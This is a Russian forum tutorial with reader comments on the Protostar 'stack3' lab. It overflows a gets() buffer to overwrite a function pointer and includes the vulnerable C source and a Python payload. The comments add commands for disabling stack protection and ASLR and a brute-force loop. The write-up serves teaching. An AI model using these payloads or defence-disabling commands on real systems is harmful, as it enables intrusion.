Статья Переполнение буфера и перезапись указателя на функцию - Изучение методов эксплуатации на примерах, часть 4

Все части переполнение буфера
Предыдущая часть Использование среды переменных окружения для переполнения буфера - разработка эксплойтов, часть 3
Следующая часть Переполнение буфера и перезапись адреса возврата - разработка эксплойтов, часть 5

Привет Codeby =) В предыдущей статье мы научились использовать среду переменных окружения для переполнения буфера, что само по себе уже не плохо. В этой статье мы познакомимся с новым принципом при переполнение буфера и немного поиграем с адресами памяти. Поехали!!!

Описание ExploitMe
Stack3 рассматривает переменные среды и способы их установки, а также перезапись указателей функций, хранящихся в стеке (в качестве прелюдии к перезаписи сохраненного EIP)

Советы
  • и gdb и objdump — ваши друзья, вы определяете где функция win () находится в памяти.
Этот уровень находится в / opt / protostar / bin / stack3

, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Решение
Рассмотрим код программы, значит у нас так же есть volatile, есть функция gets(), есть буфер на 64 байта, и есть указатель (*fp)() на не существующую функцию и есть функция которая никогда не будет вызвана win().

Исходя из этого нам нужно, каким-то образом сделать так, чтобы функция win() отработала, т.е. её надо как-то вызвать. Вопрос, как это сделать ??? А сделать это можно следующим способом. В нашей программе ведь есть уязвимость переполнения буфера, потому, как присутствует опасная функция gets(). И вся суть задачи сводится к тому, что нам нужно перезаписать теперь не значение переменной, а указатель на функцию. При вызове fp, указатель будет вызывать любой адрес памяти, расположенный в пределах fp, если он не равен нулю.

Указатель fp является локальной переменной и если мы переполним буфер, мы можем потенциально изменить значение fp, так как он находится в том же кадре стека. Условный оператор if проверяет, что fp не равен нулю. Если это так, он вызовет указатель функции fp на любой адрес памяти, сохраненный в нем.

Для того, чтобы это сделать, нам надо узнать адрес функции win(), сделать это можно двумя способами, через отладчик GDB или же через программу Objdump, которая позволяет просмотреть информацию об объектных файлах.

Рассмотрим первый вариант и запустим программу под отладчиком GDB, чтобы заглянуть под капот программы.

gdb -q ./stack3

Далее дизассемблируем функцию win() чтобы получить её адрес.

disassemble win

27251


И видим, что функция win() находится в памяти по адресу "0x08048424".

Отлично адрес получен. Теперь перейдем к способу номер два, но с начало выйдем из отладчика GDB, командой quit После чего запускаем objdump с такими параметрами.

objdump -d stack3 | grep win

27252


И видим, что адрес функции win() опять получен и он не чем не отличается. Кстати говоря, если просто запустить objdump без утилиты grep, то мы получим полное ассемблерное полотно всей программы, что не очень удобно в данном случае, поэтому мы поступили именно так, чтобы получить конкретный адрес интересующей нас функции.

Вот и всё, это было довольно таки просто, адрес 08048424 у нас есть, теперь перейдем к эксплуатации уязвимости переполнение буфера, чтобы перезаписать указатель *fp на функцию win(). Будем все так же использовать питон.

python -c "print 'a' * 64 + '\x08\x04\x84\x24'[::-1]" | ./stack3

После чего на экране появится две строчки «calling function pointer, jumping to 0x08048424» и «code flow successfully changed». Первая строчка означает, что мы перезаписали адрес указателя на функцию, а вторая означает, что можно переходить на следующий уровень .
 

mr.none

Green Team
08.09.2018
28
3
BIT
0
Вопросы:

1)Где находится "Указатель fp" в коде, какая строка, возможно я как-то не понимаю структуру, подскажите.

2)Если fp=0
Почему "if(fp)" проверяет fp на неравенство нулю? Синтаксис языка немного не пойму. То есть "!=" аналогично тому, что и незаполненное условие, как в "if(fp)"?

3)"мы можем потенциально изменить значение fp, так как он находится в том же кадре стека "
Как это понять? Где отображается кадр стека?
 
Последнее редактирование:

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Вопросы:

1)Где находится "Указатель fp" в коде, какая строка, возможно я как-то не понимаю структуру, подскажите.

2)Если fp=0
Почему "if(fp)" проверяет fp на неравенство нулю? Синтаксис языка немного не пойму. То есть "!=" аналогично тому, что и незаполненное условие, как в "if(fp)"?

3)"мы можем потенциально изменить значение fp, так как он находится в том же кадре стека "
Как это понять? Где отображается кадр стека?
1) вот он определен
volatile int (*fp)();
дальше он вызывается
fp();


2) Совершенно верно. if ( fp ) тоже самое, что и if ( fp != 0 ). Истина всё кроме нуля, даже отрицательные числа.

3)В одной функции main() указатель и буфер находятся. А вообще регистр ESP указывает на верхушку стека, а EBP значения кадр стека. Все значения локальные переменные и аргументы функции записываются в стек относительно регистра EBP.
 
  • Нравится
Реакции: ZealotTV и mr.none

mr.none

Green Team
08.09.2018
28
3
BIT
0
1) вот он определен
volatile int (*fp)();
дальше он вызывается
fp();


2) Совершенно верно. if ( fp ) тоже самое, что и if ( fp != 0 ). Истина всё кроме нуля, даже отрицательные числа.

3)В одной функции main() указатель и буфер находятся. А вообще регистр ESP указывает на верхушку стека, а EBP значения кадр стека. Все значения локальные переменные и аргументы функции записываются в стек относительно регистра EBP.
Спасибо большое за объяснения
 
  • Нравится
Реакции: fuzzz

Yakamara

One Level
11.06.2018
4
2
BIT
6
Как я понимаю существует какой-то address protection, гугл не помог понять. Так-как не получается получить какой-либо дата лик. Может есть объяснение/статья насчет этого?
gcc stack3.c -o stack3
stack3.c
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
        printf("code flow successfully changed\n");
        exit(0);
}

int main(int argc, char **argv)
{
        volatile int (*fp)();
        char buffer[64];
        fp = 0;
        gets(buffer);
        if(fp) {
                printf("calling function pointer, jumping to @ %p\n", fp);
                fp();
        }
}

objdump -d stack3 | grep win
0000000000001165 <win>:

python -c "print 'a' * 72 + '\x65\x11'" | ./stack3
calling function pointer, jumping to @ 0x1155
Segmentation fault (core dumped)
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Как я понимаю существует какой-то address protection, гугл не помог понять. Так-как не получается получить какой-либо дата лик. Может есть объяснение/статья насчет этого?
gcc stack3.c -o stack3
stack3.c
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
        printf("code flow successfully changed\n");
        exit(0);
}

int main(int argc, char **argv)
{
        volatile int (*fp)();
        char buffer[64];
        fp = 0;
        gets(buffer);
        if(fp) {
                printf("calling function pointer, jumping to @ %p\n", fp);
                fp();
        }
}

objdump -d stack3 | grep win
0000000000001165 <win>:

python -c "print 'a' * 72 + '\x65\x11'" | ./stack3
calling function pointer, jumping to @ 0x1155
Segmentation fault (core dumped)
Попробуй так собрать

Код:
gcc -std=c99 -fno-stack-protector -z execstack -m32 -g stack3.c -o stack3
 
  • Нравится
Реакции: Yakamara

Yakamara

One Level
11.06.2018
4
2
BIT
6
Попробуй так собрать

Код:
gcc -std=c99 -fno-stack-protector -z execstack -m32 -g stack3.c -o stack3
Я так и сделал, но не дало результатов. Решил немного покапать дальше.
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
        printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
        volatile int (*fp)();
        char buffer[64];
        fp = 0;
        gets(buffer);
        if(fp) {
                printf("calling function pointer, jumping to @ %p\n", fp);
                printf("calling function, jumping to @ %p\n", win);
                fp();
        }
}
Если напримую узнать адрес функции printf("calling function, jumping to @ %p\n", win), то можно увидеть что текущий адрес переназначается каждый раз как запускаетса бинарник. Но заметил что диапозон адресов ограничен, соответственно для проверки можно написать и убедиться:
Код:
while true ; do python -c "print 'a' * 64 + '\x56\x60\x91\xb9'[::-1]" | ./stack3 | grep --color=always -e "^" -e "code flow successfully changed"; done
calling function pointer, jumping to @ 0x566091b9
calling function, jumping to @ 0x566091b9
code flow successfully changed
calling function pointer, jumping to @ 0xff98ea9c
 
  • Нравится
Реакции: fuzzz

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Я так и сделал, но не дало результатов. Решил немного покапать дальше.
Код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
        printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
        volatile int (*fp)();
        char buffer[64];
        fp = 0;
        gets(buffer);
        if(fp) {
                printf("calling function pointer, jumping to @ %p\n", fp);
                printf("calling function, jumping to @ %p\n", win);
                fp();
        }
}
Если напримую узнать адрес функции printf("calling function, jumping to @ %p\n", win), то можно увидеть что текущий адрес переназначается каждый раз как запускаетса бинарник. Но заметил что диапозон адресов ограничен, соответственно для проверки можно написать и убедиться:
Код:
while true ; do python -c "print 'a' * 64 + '\x56\x60\x91\xb9'[::-1]" | ./stack3 | grep --color=always -e "^" -e "code flow successfully changed"; done
calling function pointer, jumping to @ 0x566091b9
calling function, jumping to @ 0x566091b9
code flow successfully changed
calling function pointer, jumping to @ 0xff98ea9c
у тебя ASLR включен, его выключить надо. Чтобы адрес был статическим, а не динамическим.

Это можно сделать путем передачи целого значения в /proc/sys/kernel/randomize_va_space

Проверяем
Код:
cat /proc/sys/kernel/randomize_va_space

Отключаем
Код:
echo 0 > /proc/sys/kernel/randomize_va_space

После того как отключишь, скомпилировать уязвимую программу.
 
Последнее редактирование:
  • Нравится
Реакции: Pav и Yakamara

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Круто, но только вот получается, что мы можем "колдовать" только в пределах "уязвимого" фрейма? и то, только за адресом первого байта уязвимой переменной?
 

peka

New member
21.05.2020
1
0
BIT
0
Круто, но только вот получается, что мы можем "колдовать" только в пределах "уязвимого" фрейма? и то, только за адресом первого байта уязвимой переменной?
Если имеется ввиду "колдовство" при выключенной функции ASLR. То тут уже необходимо применить метод fuzzing, то есть грубый буртфорс вызова программы пока не совпадут адреса и не сработает нужная функция.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!